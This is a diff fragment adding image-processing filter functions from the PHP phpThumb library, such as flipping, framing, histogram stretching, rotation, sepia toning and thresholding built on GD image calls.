+	function Flip(&$gdimg, $x=false, $y=false) {
+		if (!$x && !$y) {
+			return false;
+		}
+		if ($tempImage = phpthumb_functions::ImageCreateFunction(ImageSX($gdimg), ImageSY($gdimg))) {
+			if ($x) {
+				ImageCopy($tempImage, $gdimg, 0, 0, 0, 0, ImageSX($gdimg), ImageSY($gdimg));
+				for ($x = 0; $x < ImageSX($gdimg); $x++) {
+					ImageCopy($gdimg, $tempImage, ImageSX($gdimg) - 1 - $x, 0, $x, 0, 1, ImageSY($gdimg));
+				}
+			}
+			if ($y) {
+				ImageCopy($tempImage, $gdimg, 0, 0, 0, 0, ImageSX($gdimg), ImageSY($gdimg));
+				for ($y = 0; $y < ImageSY($gdimg); $y++) {
+					ImageCopy($gdimg, $tempImage, 0, ImageSY($gdimg) - 1 - $y, 0, $y, ImageSX($gdimg), 1);
+				}
+			}
+			ImageDestroy($tempImage);
+		}
+		return true;
+	}
+
+
+	function Frame(&$gdimg, $frame_width, $edge_width, $hexcolor_frame, $hexcolor1, $hexcolor2) {
+		$frame_width    = ($frame_width    ? $frame_width    : 5);
+		$edge_width     = ($edge_width     ? $edge_width     : 1);
+		$hexcolor_frame = ($hexcolor_frame ? $hexcolor_frame : 'CCCCCC');
+		$hexcolor1      = ($hexcolor1      ? $hexcolor1      : 'FFFFFF');
+		$hexcolor2      = ($hexcolor2      ? $hexcolor2      : '000000');
+
+		$color_frame = phpthumb_functions::ImageHexColorAllocate($gdimg, $hexcolor_frame);
+		$color1      = phpthumb_functions::ImageHexColorAllocate($gdimg, $hexcolor1);
+		$color2      = phpthumb_functions::ImageHexColorAllocate($gdimg, $hexcolor2);
+		for ($i = 0; $i < $edge_width; $i++) {
+			// outer bevel
+			ImageLine($gdimg,                   $i,                   $i,                   $i, ImageSY($gdimg) - $i, $color1); // left
+			ImageLine($gdimg,                   $i,                   $i, ImageSX($gdimg) - $i,                   $i, $color1); // top
+			ImageLine($gdimg, ImageSX($gdimg) - $i, ImageSY($gdimg) - $i, ImageSX($gdimg) - $i,                   $i, $color2); // right
+			ImageLine($gdimg, ImageSX($gdimg) - $i, ImageSY($gdimg) - $i,                   $i, ImageSY($gdimg) - $i, $color2); // bottom
+		}
+		for ($i = 0; $i < $frame_width; $i++) {
+			// actual frame
+			ImageRectangle($gdimg, $edge_width + $i, $edge_width + $i, ImageSX($gdimg) - $edge_width - $i, ImageSY($gdimg) - $edge_width - $i, $color_frame);
+		}
+		for ($i = 0; $i < $edge_width; $i++) {
+			// inner bevel
+			ImageLine($gdimg,                   $frame_width + $edge_width + $i,                   $frame_width + $edge_width + $i,                   $frame_width + $edge_width + $i, ImageSY($gdimg) - $frame_width - $edge_width - $i, $color2); // left
+			ImageLine($gdimg,                   $frame_width + $edge_width + $i,                   $frame_width + $edge_width + $i, ImageSX($gdimg) - $frame_width - $edge_width - $i,                   $frame_width + $edge_width + $i, $color2); // top
+			ImageLine($gdimg, ImageSX($gdimg) - $frame_width - $edge_width - $i, ImageSY($gdimg) - $frame_width - $edge_width - $i, ImageSX($gdimg) - $frame_width - $edge_width - $i,                   $frame_width + $edge_width + $i, $color1); // right
+			ImageLine($gdimg, ImageSX($gdimg) - $frame_width - $edge_width - $i, ImageSY($gdimg) - $frame_width - $edge_width - $i,                   $frame_width + $edge_width + $i, ImageSY($gdimg) - $frame_width - $edge_width - $i, $color1); // bottom
+		}
+		return true;
+	}
+
+
+	function Gamma(&$gdimg, $amount) {
+		if (number_format($amount, 4) == '1.0000') {
+			return true;
+		}
+		return ImageGammaCorrect($gdimg, 1.0, $amount);
+	}
+
+
+	function Grayscale(&$gdimg) {
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '5.0.0', '>=') && phpthumb_functions::gd_is_bundled()) {
+			if (ImageFilter($gdimg, IMG_FILTER_GRAYSCALE)) {
+				return true;
+			}
+			$this->DebugMessage('FAILED: ImageFilter($gdimg, IMG_FILTER_GRAYSCALE)', __FILE__, __LINE__);
+			// fall through and try it the hard way
+		}
+		return phpthumb_filters::Colorize($gdimg, 100, 'gray');
+	}
+
+
+	function HistogramAnalysis(&$gdimg, $calculateGray=false) {
+		$ImageSX = ImageSX($gdimg);
+		$ImageSY = ImageSY($gdimg);
+		for ($x = 0; $x < $ImageSX; $x++) {
+			for ($y = 0; $y < $ImageSY; $y++) {
+				$OriginalPixel = phpthumb_functions::GetPixelColor($gdimg, $x, $y);
+				@$Analysis['red'][$OriginalPixel['red']]++;
+				@$Analysis['green'][$OriginalPixel['green']]++;
+				@$Analysis['blue'][$OriginalPixel['blue']]++;
+				@$Analysis['alpha'][$OriginalPixel['alpha']]++;
+				if ($calculateGray) {
+					$GrayPixel = phpthumb_functions::GrayscalePixel($OriginalPixel);
+					@$Analysis['gray'][$GrayPixel['red']]++;
+				}
+			}
+		}
+		$keys = array('red', 'green', 'blue', 'alpha');
+		if ($calculateGray) {
+			$keys[] = 'gray';
+		}
+		foreach ($keys as $dummy => $key) {
+			ksort($Analysis[$key]);
+		}
+		return $Analysis;
+	}
+
+
+	function HistogramStretch(&$gdimg, $band='*', $method=0, $threshold=0.1) {
+		// equivalent of "Auto Contrast" in Adobe Photoshop
+		// method 0 stretches according to RGB colors. Gives a more conservative stretch.
+		// method 1 band stretches according to grayscale which is color-biased (59% green, 30% red, 11% blue). May give a punchier / more aggressive stretch, possibly appearing over-saturated
+		$Analysis = phpthumb_filters::HistogramAnalysis($gdimg, true);
+		$keys = array('r'=>'red', 'g'=>'green', 'b'=>'blue', 'a'=>'alpha', '*'=>(($method == 0) ? 'all' : 'gray'));
+		$band = substr($band, 0, 1);
+		if (!isset($keys[$band])) {
+			return false;
+		}
+		$key = $keys[$band];
+
+		// If the absolute brightest and darkest pixels are used then one random
+		// pixel in the image could throw off the whole system. Instead, count up/down
+		// from the limit and allow <threshold> (default = 0.1%) of brightest/darkest
+		// pixels to be clipped to min/max
+		$threshold = floatval($threshold) / 100;
+		$clip_threshold = ImageSX($gdimg) * ImageSX($gdimg) * $threshold;
+		//if ($min >= 0) {
+		//	$range_min = min($min, 255);
+		//} else {
+			$countsum = 0;
+			for ($i = 0; $i <= 255; $i++) {
+				if ($method == 0) {
+					$countsum = max(@$Analysis['red'][$i], @$Analysis['green'][$i], @$Analysis['blue'][$i]);
+				} else {
+					$countsum += @$Analysis[$key][$i];
+				}
+				if ($countsum >= $clip_threshold) {
+					$range_min = $i - 1;
+					break;
+				}
+			}
+			$range_min = max($range_min, 0);
+		//}
+		//if ($max > 0) {
+		//	$range_max = max($max, 255);
+		//} else {
+			$countsum = 0;
+			for ($i = 255; $i >= 0; $i--) {
+				if ($method == 0) {
+					$countsum = max(@$Analysis['red'][$i], @$Analysis['green'][$i], @$Analysis['blue'][$i]);
+				} else {
+					$countsum += @$Analysis[$key][$i];
+				}
+				if ($countsum >= $clip_threshold) {
+					$range_max = $i + 1;
+					break;
+				}
+			}
+			$range_max = min($range_max, 255);
+		//}
+		$range_scale = (($range_max == $range_min) ? 1 : (255 / ($range_max - $range_min)));
+		if (($range_min == 0) && ($range_max == 255)) {
+			// no adjustment neccesary - don't waste CPU time!
+			return true;
+		}
+
+		$ImageSX = ImageSX($gdimg);
+		$ImageSY = ImageSY($gdimg);
+		for ($x = 0; $x < $ImageSX; $x++) {
+			for ($y = 0; $y < $ImageSY; $y++) {
+				$OriginalPixel = phpthumb_functions::GetPixelColor($gdimg, $x, $y);
+				if ($band == '*') {
+					$new['red']   = min(255, max(0, ($OriginalPixel['red']   - $range_min) * $range_scale));
+					$new['green'] = min(255, max(0, ($OriginalPixel['green'] - $range_min) * $range_scale));
+					$new['blue']  = min(255, max(0, ($OriginalPixel['blue']  - $range_min) * $range_scale));
+					$new['alpha'] = min(255, max(0, ($OriginalPixel['alpha'] - $range_min) * $range_scale));
+				} else {
+					$new = $OriginalPixel;
+					$new[$key] = min(255, max(0, ($OriginalPixel[$key] - $range_min) * $range_scale));
+				}
+				$newColor = phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg, $new['red'], $new['green'], $new['blue'], $new['alpha']);
+				ImageSetPixel($gdimg, $x, $y, $newColor);
+			}
+		}
+
+		return true;
+	}
+
+
+	function HistogramOverlay(&$gdimg, $bands='*', $colors='', $width=0.25, $height=0.25, $alignment='BR', $opacity=50, $margin_x=5, $margin_y=null) {
+		$margin_y = (is_null($margin_y) ? $margin_x : $margin_y);
+
+		$Analysis = phpthumb_filters::HistogramAnalysis($gdimg, true);
+		$histW = round(($width > 1) ? min($width, ImageSX($gdimg)) : ImageSX($gdimg) * $width);
+		$histH = round(($width > 1) ? min($width, ImageSX($gdimg)) : ImageSX($gdimg) * $width);
+		if ($gdHist = ImageCreateTrueColor($histW, $histH)) {
+			$color_back = phpthumb_functions::ImageColorAllocateAlphaSafe($gdHist, 0, 0, 0, 127);
+			ImageFilledRectangle($gdHist, 0, 0, $histW, $histH, $color_back);
+			ImageAlphaBlending($gdHist, false);
+			ImageSaveAlpha($gdHist, true);
+
+			$HistogramTempWidth  = 256;
+			$HistogramTempHeight = 100;
+			if ($gdHistTemp = ImageCreateTrueColor($HistogramTempWidth, $HistogramTempHeight)) {
+				$color_back_temp = phpthumb_functions::ImageColorAllocateAlphaSafe($gdHistTemp, 255, 0, 255, 127);
+				ImageAlphaBlending($gdHistTemp, false);
+				ImageSaveAlpha($gdHistTemp, true);
+				ImageFilledRectangle($gdHistTemp, 0, 0, ImageSX($gdHistTemp), ImageSY($gdHistTemp), $color_back_temp);
+
+				$DefaultColors = array('r'=>'FF0000', 'g'=>'00FF00', 'b'=>'0000FF', 'a'=>'999999', '*'=>'FFFFFF');
+				$Colors = explode(';', $colors);
+				$BandsToGraph = array_unique(preg_split('//', $bands));
+				$keys = array('r'=>'red', 'g'=>'green', 'b'=>'blue', 'a'=>'alpha', '*'=>'gray');
+				foreach ($BandsToGraph as $key => $band) {
+					if (!isset($keys[$band])) {
+						continue;
+					}
+					$PeakValue = max($Analysis[$keys[$band]]);
+					$thisColor = phpthumb_functions::ImageHexColorAllocate($gdHistTemp, phpthumb_functions::IsHexColor(@$Colors[$key]) ? $Colors[$key] : $DefaultColors[$band]);
+					for ($x = 0; $x < $HistogramTempWidth; $x++) {
+						ImageLine($gdHistTemp, $x, $HistogramTempHeight - 1, $x, $HistogramTempHeight - 1 - round(@$Analysis[$keys[$band]][$x] / $PeakValue * $HistogramTempHeight), $thisColor);
+					}
+					ImageLine($gdHistTemp, 0, $HistogramTempHeight - 1, $HistogramTempWidth - 1, $HistogramTempHeight - 1, $thisColor);
+					ImageLine($gdHistTemp, 0, $HistogramTempHeight - 2, $HistogramTempWidth - 1, $HistogramTempHeight - 2, $thisColor);
+				}
+				ImageCopyResampled($gdHist, $gdHistTemp, 0, 0, 0, 0, ImageSX($gdHist), ImageSY($gdHist), ImageSX($gdHistTemp), ImageSY($gdHistTemp));
+				ImageDestroy($gdHistTemp);
+			} else {
+				return false;
+			}
+
+			phpthumb_filters::WatermarkOverlay($gdimg, $gdHist, $alignment, $opacity, $margin_x, $margin_y);
+			ImageDestroy($gdHist);
+			return true;
+		}
+		return false;
+	}
+
+
+	function ImageBorder(&$gdimg, $border_width, $radius_x, $radius_y, $hexcolor_border) {
+		$border_width = ($border_width ? $border_width : 1);
+		$radius_x     = ($radius_x     ? $radius_x     : 0);
+		$radius_y     = ($radius_y     ? $radius_y     : 0);
+
+		$output_width  = ImageSX($gdimg);
+		$output_height = ImageSY($gdimg);
+
+		list($new_width, $new_height) = phpthumb_functions::ProportionalResize($output_width, $output_height, $output_width - max($border_width * 2, $radius_x), $output_height - max($border_width * 2, $radius_y));
+		$offset_x = ($radius_x ? $output_width  - $new_width  - $radius_x : 0);
+		$offset_y = ($radius_y ? $output_height - $new_height - $radius_y : 0);
+
+//header('Content-Type: image/png');
+//ImagePNG($gdimg);
+//exit;
+		if ($gd_border_canvas = phpthumb_functions::ImageCreateFunction($output_width, $output_height)) {
+
+			ImageSaveAlpha($gd_border_canvas, true);
+			ImageAlphaBlending($gd_border_canvas, false);
+			$color_background = phpthumb_functions::ImageColorAllocateAlphaSafe($gd_border_canvas, 255, 255, 255, 127);
+			ImageFilledRectangle($gd_border_canvas, 0, 0, $output_width, $output_height, $color_background);
+
+			$color_border = phpthumb_functions::ImageHexColorAllocate($gd_border_canvas, (phpthumb_functions::IsHexColor($hexcolor_border) ? $hexcolor_border : '000000'));
+
+			for ($i = 0; $i < $border_width; $i++) {
+				ImageLine($gd_border_canvas,             floor($offset_x / 2) + $radius_x,                      $i, $output_width - $radius_x - ceil($offset_x / 2),                         $i, $color_border); // top
+				ImageLine($gd_border_canvas,             floor($offset_x / 2) + $radius_x, $output_height - 1 - $i, $output_width - $radius_x - ceil($offset_x / 2),    $output_height - 1 - $i, $color_border); // bottom
+				ImageLine($gd_border_canvas,                    floor($offset_x / 2) + $i,               $radius_y,                      floor($offset_x / 2) +  $i, $output_height - $radius_y, $color_border); // left
+				ImageLine($gd_border_canvas, $output_width - 1 - $i - ceil($offset_x / 2),               $radius_y,    $output_width - 1 - $i - ceil($offset_x / 2), $output_height - $radius_y, $color_border); // right
+			}
+
+			if ($radius_x && $radius_y) {
+
+				// PHP bug: ImageArc() with thicknesses > 1 give bad/undesirable/unpredicatable results
+				// Solution: Draw multiple 1px arcs side-by-side.
+
+				// Problem: parallel arcs give strange/ugly antialiasing problems
+				// Solution: draw non-parallel arcs, from one side of the line thickness at the start angle
+				//   to the opposite edge of the line thickness at the terminating angle
+				for ($thickness_offset = 0; $thickness_offset < $border_width; $thickness_offset++) {
+					ImageArc($gd_border_canvas, floor($offset_x / 2) + 1 +                 $radius_x,              $thickness_offset - 1 + $radius_y, $radius_x * 2, $radius_y * 2, 180, 270, $color_border); // top-left
+					ImageArc($gd_border_canvas,                     $output_width - $radius_x - 1 - ceil($offset_x / 2),              $thickness_offset - 1 + $radius_y, $radius_x * 2, $radius_y * 2, 270, 360, $color_border); // top-right
+					ImageArc($gd_border_canvas,                     $output_width - $radius_x - 1 - ceil($offset_x / 2), $output_height - $thickness_offset - $radius_y, $radius_x * 2, $radius_y * 2,   0,  90, $color_border); // bottom-right
+					ImageArc($gd_border_canvas, floor($offset_x / 2) + 1 +                 $radius_x, $output_height - $thickness_offset - $radius_y, $radius_x * 2, $radius_y * 2,  90, 180, $color_border); // bottom-left
+				}
+				if ($border_width > 1) {
+					for ($thickness_offset = 0; $thickness_offset < $border_width; $thickness_offset++) {
+						ImageArc($gd_border_canvas, floor($offset_x / 2) + $thickness_offset + $radius_x,                                      $radius_y, $radius_x * 2, $radius_y * 2, 180, 270, $color_border); // top-left
+						ImageArc($gd_border_canvas, $output_width - $thickness_offset - $radius_x - 1 - ceil($offset_x / 2),                                      $radius_y, $radius_x * 2, $radius_y * 2, 270, 360, $color_border); // top-right
+						ImageArc($gd_border_canvas, $output_width - $thickness_offset - $radius_x - 1 - ceil($offset_x / 2),                     $output_height - $radius_y, $radius_x * 2, $radius_y * 2,   0,  90, $color_border); // bottom-right
+						ImageArc($gd_border_canvas, floor($offset_x / 2) + $thickness_offset + $radius_x,                     $output_height - $radius_y, $radius_x * 2, $radius_y * 2,  90, 180, $color_border); // bottom-left
+					}
+				}
+
+			}
+			$this->phpThumbObject->ImageResizeFunction($gd_border_canvas, $gdimg, floor(($output_width - $new_width) / 2), round(($output_height - $new_height) / 2), 0, 0, $new_width, $new_height, $output_width, $output_height);
+
+			ImageDestroy($gdimg);
+			$gdimg = phpthumb_functions::ImageCreateFunction($output_width, $output_height);
+			ImageSaveAlpha($gdimg, true);
+			ImageAlphaBlending($gdimg, false);
+			$gdimg_color_background = phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg, 255, 255, 255, 127);
+			ImageFilledRectangle($gdimg, 0, 0, $output_width, $output_height, $gdimg_color_background);
+
+			ImageCopy($gdimg, $gd_border_canvas, 0, 0, 0, 0, $output_width, $output_height);
+			//$gdimg = $gd_border_canvas;
+			ImageDestroy($gd_border_canvas);
+			return true;
+
+
+		} else {
+			$this->DebugMessage('FAILED: $gd_border_canvas = phpthumb_functions::ImageCreateFunction('.$output_width.', '.$output_height.')', __FILE__, __LINE__);
+		}
+		return false;
+	}
+
+
+	function ImprovedImageRotate(&$gdimg_source, $rotate_angle=0, $config_background_hexcolor='FFFFFF', $bg=null) {
+		while ($rotate_angle < 0) {
+			$rotate_angle += 360;
+		}
+		$rotate_angle = $rotate_angle % 360;
+		if ($rotate_angle != 0) {
+
+			$background_color = phpthumb_functions::ImageHexColorAllocate($gdimg_source, $config_background_hexcolor);
+
+			if ((phpthumb_functions::gd_version() >= 2) && !$bg && ($rotate_angle % 90)) {
+
+				//$this->DebugMessage('Using alpha rotate', __FILE__, __LINE__);
+				if ($gdimg_rotate_mask = phpthumb_functions::ImageCreateFunction(ImageSX($gdimg_source), ImageSY($gdimg_source))) {
+
+					for ($i = 0; $i <= 255; $i++) {
+						$color_mask[$i] = ImageColorAllocate($gdimg_rotate_mask, $i, $i, $i);
+					}
+					ImageFilledRectangle($gdimg_rotate_mask, 0, 0, ImageSX($gdimg_rotate_mask), ImageSY($gdimg_rotate_mask), $color_mask[255]);
+					$imageX = ImageSX($gdimg_source);
+					$imageY = ImageSY($gdimg_source);
+					for ($x = 0; $x < $imageX; $x++) {
+						for ($y = 0; $y < $imageY; $y++) {
+							$pixelcolor = phpthumb_functions::GetPixelColor($gdimg_source, $x, $y);
+							ImageSetPixel($gdimg_rotate_mask, $x, $y, $color_mask[255 - round($pixelcolor['alpha'] * 255 / 127)]);
+						}
+					}
+					$gdimg_rotate_mask  = ImageRotate($gdimg_rotate_mask,  $rotate_angle, $color_mask[0]);
+					$gdimg_source = ImageRotate($gdimg_source, $rotate_angle, $background_color);
+
+					ImageAlphaBlending($gdimg_source, false);
+					ImageSaveAlpha($gdimg_source, true);
+					//$this->is_alpha = true;
+					$phpThumbFilters = new phpthumb_filters();
+					$phpThumbFilters->phpThumbObject = $this;
+					$phpThumbFilters->ApplyMask($gdimg_rotate_mask, $gdimg_source);
+
+					ImageDestroy($gdimg_rotate_mask);
+
+				} else {
+					//$this->DebugMessage('ImageCreateFunction() failed', __FILE__, __LINE__);
+				}
+
+			} else {
+
+				if (phpthumb_functions::gd_version() < 2) {
+					//$this->DebugMessage('Using non-alpha rotate because gd_version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+				} elseif ($bg) {
+					//$this->DebugMessage('Using non-alpha rotate because $this->bg is "'.$bg.'"', __FILE__, __LINE__);
+				} elseif ($rotate_angle % 90) {
+					//$this->DebugMessage('Using non-alpha rotate because ($rotate_angle % 90) = "'.($rotate_angle % 90).'"', __FILE__, __LINE__);
+				} else {
+					//$this->DebugMessage('Using non-alpha rotate because $this->thumbnailFormat is "'.$this->thumbnailFormat.'"', __FILE__, __LINE__);
+				}
+
+				if (ImageColorTransparent($gdimg_source) >= 0) {
+					// ImageRotate() forgets all about an image's transparency and sets the transparent color to black
+					// To compensate, flood-fill the transparent color of the source image with the specified background color first
+					// then rotate and the colors should match
+
+					if (!function_exists('ImageIsTrueColor') || !ImageIsTrueColor($gdimg_source)) {
+						// convert paletted image to true-color before rotating to prevent nasty aliasing artifacts
+
+						//$this->source_width  = ImageSX($gdimg_source);
+						//$this->source_height = ImageSY($gdimg_source);
+						$gdimg_newsrc = phpthumb_functions::ImageCreateFunction(ImageSX($gdimg_source), ImageSY($gdimg_source));
+						$background_color = phpthumb_functions::ImageHexColorAllocate($gdimg_newsrc, $config_background_hexcolor);
+						ImageFilledRectangle($gdimg_newsrc, 0, 0, ImageSX($gdimg_source), ImageSY($gdimg_source), phpthumb_functions::ImageHexColorAllocate($gdimg_newsrc, $config_background_hexcolor));
+						ImageCopy($gdimg_newsrc, $gdimg_source, 0, 0, 0, 0, ImageSX($gdimg_source), ImageSY($gdimg_source));
+						ImageDestroy($gdimg_source);
+						unset($gdimg_source);
+						$gdimg_source = $gdimg_newsrc;
+						unset($gdimg_newsrc);
+
+					} else {
+
+						ImageColorSet(
+							$gdimg_source,
+							ImageColorTransparent($gdimg_source),
+							hexdec(substr($config_background_hexcolor, 0, 2)),
+							hexdec(substr($config_background_hexcolor, 2, 2)),
+							hexdec(substr($config_background_hexcolor, 4, 2)));
+
+						ImageColorTransparent($gdimg_source, -1);
+
+					}
+				}
+
+				$gdimg_source = ImageRotate($gdimg_source, $rotate_angle, $background_color);
+
+			}
+		}
+		return true;
+	}
+
+
+	function MeanRemoval(&$gdimg) {
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '5.0.0', '>=') && phpthumb_functions::gd_is_bundled()) {
+			if (ImageFilter($gdimg, IMG_FILTER_MEAN_REMOVAL)) {
+				return true;
+			}
+			$this->DebugMessage('FAILED: ImageFilter($gdimg, IMG_FILTER_MEAN_REMOVAL)', __FILE__, __LINE__);
+			// fall through and try it the hard way
+		}
+		// currently not implemented "the hard way"
+		$this->DebugMessage('FAILED: phpthumb_filters::MeanRemoval($gdimg) [function not implemented]', __FILE__, __LINE__);
+		return false;
+	}
+
+
+	function Negative(&$gdimg) {
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '5.0.0', '>=') && phpthumb_functions::gd_is_bundled()) {
+			if (ImageFilter($gdimg, IMG_FILTER_NEGATE)) {
+				return true;
+			}
+			$this->DebugMessage('FAILED: ImageFilter($gdimg, IMG_FILTER_NEGATE)', __FILE__, __LINE__);
+			// fall through and try it the hard way
+		}
+		$ImageSX = ImageSX($gdimg);
+		$ImageSY = ImageSY($gdimg);
+		for ($x = 0; $x < $ImageSX; $x++) {
+			for ($y = 0; $y < $ImageSY; $y++) {
+				$currentPixel = phpthumb_functions::GetPixelColor($gdimg, $x, $y);
+				$newColor = phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg, (~$currentPixel['red'] & 0xFF), (~$currentPixel['green'] & 0xFF), (~$currentPixel['blue'] & 0xFF), $currentPixel['alpha']);
+				ImageSetPixel($gdimg, $x, $y, $newColor);
+			}
+		}
+		return true;
+	}
+
+
+	function RoundedImageCorners(&$gdimg, $radius_x, $radius_y) {
+		// generate mask at twice desired resolution and downsample afterwards for easy antialiasing
+		// mask is generated as a white double-size elipse on a triple-size black background and copy-paste-resampled
+		// onto a correct-size mask image as 4 corners due to errors when the entire mask is resampled at once (gray edges)
+		if ($gdimg_cornermask_triple = phpthumb_functions::ImageCreateFunction($radius_x * 6, $radius_y * 6)) {
+			if ($gdimg_cornermask = phpthumb_functions::ImageCreateFunction(ImageSX($gdimg), ImageSY($gdimg))) {
+
+				$color_transparent = ImageColorAllocate($gdimg_cornermask_triple, 255, 255, 255);
+				ImageFilledEllipse($gdimg_cornermask_triple, $radius_x * 3, $radius_y * 3, $radius_x * 4, $radius_y * 4, $color_transparent);
+
+				ImageFilledRectangle($gdimg_cornermask, 0, 0, ImageSX($gdimg), ImageSY($gdimg), $color_transparent);
+
+				ImageCopyResampled($gdimg_cornermask, $gdimg_cornermask_triple,                           0,                           0,     $radius_x,     $radius_y, $radius_x, $radius_y, $radius_x * 2, $radius_y * 2);
+				ImageCopyResampled($gdimg_cornermask, $gdimg_cornermask_triple,                           0, ImageSY($gdimg) - $radius_y,     $radius_x, $radius_y * 3, $radius_x, $radius_y, $radius_x * 2, $radius_y * 2);
+				ImageCopyResampled($gdimg_cornermask, $gdimg_cornermask_triple, ImageSX($gdimg) - $radius_x, ImageSY($gdimg) - $radius_y, $radius_x * 3, $radius_y * 3, $radius_x, $radius_y, $radius_x * 2, $radius_y * 2);
+				ImageCopyResampled($gdimg_cornermask, $gdimg_cornermask_triple, ImageSX($gdimg) - $radius_x,                           0, $radius_x * 3,     $radius_y, $radius_x, $radius_y, $radius_x * 2, $radius_y * 2);
+
+				phpthumb_filters::ApplyMask($gdimg_cornermask, $gdimg);
+				ImageDestroy($gdimg_cornermask);
+				$this->DebugMessage('RoundedImageCorners('.$radius_x.', '.$radius_y.') succeeded', __FILE__, __LINE__);
+				return true;
+
+			} else {
+				$this->DebugMessage('FAILED: $gdimg_cornermask = phpthumb_functions::ImageCreateFunction('.ImageSX($gdimg).', '.ImageSY($gdimg).')', __FILE__, __LINE__);
+			}
+			ImageDestroy($gdimg_cornermask_triple);
+
+		} else {
+			$this->DebugMessage('FAILED: $gdimg_cornermask_triple = phpthumb_functions::ImageCreateFunction('.($radius_x * 6).', '.($radius_y * 6).')', __FILE__, __LINE__);
+		}
+		return false;
+	}
+
+
+	function Saturation(&$gdimg, $amount, $color='') {
+		if ($amount == 0) {
+			return true;
+		} elseif ($amount > 0) {
+			$amount = 0 - $amount;
+		} else {
+			$amount = abs($amount);
+		}
+		return phpthumb_filters::Desaturate($gdimg, $amount, $color);
+	}
+
+
+	function Sepia(&$gdimg, $amount, $targetColor) {
+		$amount      = (is_numeric($amount) ? max(0, min(100, $amount)) : 50);
+		$amountPct   = $amount / 100;
+		$targetColor = (phpthumb_functions::IsHexColor($targetColor) ? $targetColor : 'A28065');
+
+		if ($amount == 0) {
+			return true;
+		}
+
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '5.0.0', '>=') && phpthumb_functions::gd_is_bundled()) {
+			if (ImageFilter($gdimg, IMG_FILTER_GRAYSCALE)) {
+
+				$r = round($amountPct * hexdec(substr($targetColor, 0, 2)));
+				$g = round($amountPct * hexdec(substr($targetColor, 2, 2)));
+				$b = round($amountPct * hexdec(substr($targetColor, 4, 2)));
+				if (ImageFilter($gdimg, IMG_FILTER_COLORIZE, $r, $g, $b)) {
+					return true;
+				}
+				$this->DebugMessage('FAILED: ImageFilter($gdimg, IMG_FILTER_COLORIZE)', __FILE__, __LINE__);
+				// fall through and try it the hard way
+
+			} else {
+
+				$this->DebugMessage('FAILED: ImageFilter($gdimg, IMG_FILTER_GRAYSCALE)', __FILE__, __LINE__);
+				// fall through and try it the hard way
+
+			}
+		}
+
+		$TargetPixel['red']   = hexdec(substr($targetColor, 0, 2));
+		$TargetPixel['green'] = hexdec(substr($targetColor, 2, 2));
+		$TargetPixel['blue']  = hexdec(substr($targetColor, 4, 2));
+
+		$ImageSX = ImageSX($gdimg);
+		$ImageSY = ImageSY($gdimg);
+		for ($x = 0; $x < $ImageSX; $x++) {
+			for ($y = 0; $y < $ImageSY; $y++) {
+				$OriginalPixel = phpthumb_functions::GetPixelColor($gdimg, $x, $y);
+				$GrayPixel = phpthumb_functions::GrayscalePixel($OriginalPixel);
+
+				// http://www.gimpguru.org/Tutorials/SepiaToning/
+				// "In the traditional sepia toning process, the tinting occurs most in
+				// the mid-tones: the lighter and darker areas appear to be closer to B&W."
+				$SepiaAmount = ((128 - abs($GrayPixel['red'] - 128)) / 128) * $amountPct;
+
+				foreach ($TargetPixel as $key => $value) {
+					$NewPixel[$key] = round(max(0, min(255, $GrayPixel[$key] * (1 - $SepiaAmount) + ($TargetPixel[$key] * $SepiaAmount))));
+				}
+				$newColor = phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg, $NewPixel['red'], $NewPixel['green'], $NewPixel['blue'], $OriginalPixel['alpha']);
+				ImageSetPixel($gdimg, $x, $y, $newColor);
+			}
+		}
+		return true;
+	}
+
+
+	function Smooth(&$gdimg, $amount=6) {
+		$amount = min(25, max(0, $amount));
+		if ($amount == 0) {
+			return true;
+		}
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '5.0.0', '>=') && phpthumb_functions::gd_is_bundled()) {
+			if (ImageFilter($gdimg, IMG_FILTER_SMOOTH, $amount)) {
+				return true;
+			}
+			$this->DebugMessage('FAILED: ImageFilter($gdimg, IMG_FILTER_SMOOTH, '.$amount.')', __FILE__, __LINE__);
+			// fall through and try it the hard way
+		}
+		// currently not implemented "the hard way"
+		$this->DebugMessage('FAILED: phpthumb_filters::Smooth($gdimg, '.$amount.') [function not implemented]', __FILE__, __LINE__);
+		return false;
+	}
+
+
+	function SourceTransparentColorMask(&$gdimg, $hexcolor, $min_limit=5, $max_limit=10) {
+		$width  = ImageSX($gdimg);
+		$height = ImageSY($gdimg);
+		if ($gdimg_mask = ImageCreateTrueColor($width, $height)) {
+			$R = hexdec(substr($hexcolor, 0, 2));
+			$G = hexdec(substr($hexcolor, 2, 2));
+			$B = hexdec(substr($hexcolor, 4, 2));
+			$targetPixel = array('red'=>$R, 'green'=>$G, 'blue'=>$B);
+			$cutoffRange = $max_limit - $min_limit;
+			for ($x = 0; $x < $width; $x++) {
+				for ($y = 0; $y < $height; $y++) {
+					$currentPixel = phpthumb_functions::GetPixelColor($gdimg, $x, $y);
+					$colorDiff = phpthumb_functions::PixelColorDifferencePercent($currentPixel, $targetPixel);
+					$grayLevel = min($cutoffRange, MAX(0, -$min_limit + $colorDiff)) * (255 / MAX(1, $cutoffRange));
+					$newColor = ImageColorAllocate($gdimg_mask, $grayLevel, $grayLevel, $grayLevel);
+					ImageSetPixel($gdimg_mask, $x, $y, $newColor);
+				}
+			}
+			return $gdimg_mask;
+		}
+		return false;
+	}
+
+
+	function Threshold(&$gdimg, $cutoff) {
+		$width  = ImageSX($gdimg);
+		$height = ImageSY($gdimg);
+		$cutoff = min(255, max(0, ($cutoff ? $cutoff : 128)));
+		for ($x = 0; $x < $width; $x++) {
+			for ($y = 0; $y < $height; $y++) {
+				$currentPixel = phpthumb_functions::GetPixelColor($gdimg, $x, $y);
+				$grayPixel = phpthumb_functions::GrayscalePixel($currentPixel);
+				if ($grayPixel['red'] < $cutoff) {
+					$newColor = phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg, 0x00, 0x00, 0x00, $currentPixel['alpha']);
+				} else {
+					$newColor = phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg, 0xFF, 0xFF, 0xFF, $currentPixel['alpha']);
+				}
+				ImageSetPixel($gdimg, $x, $y, $newColor);
+			}
+		}
+		return true;
+	}
+
+
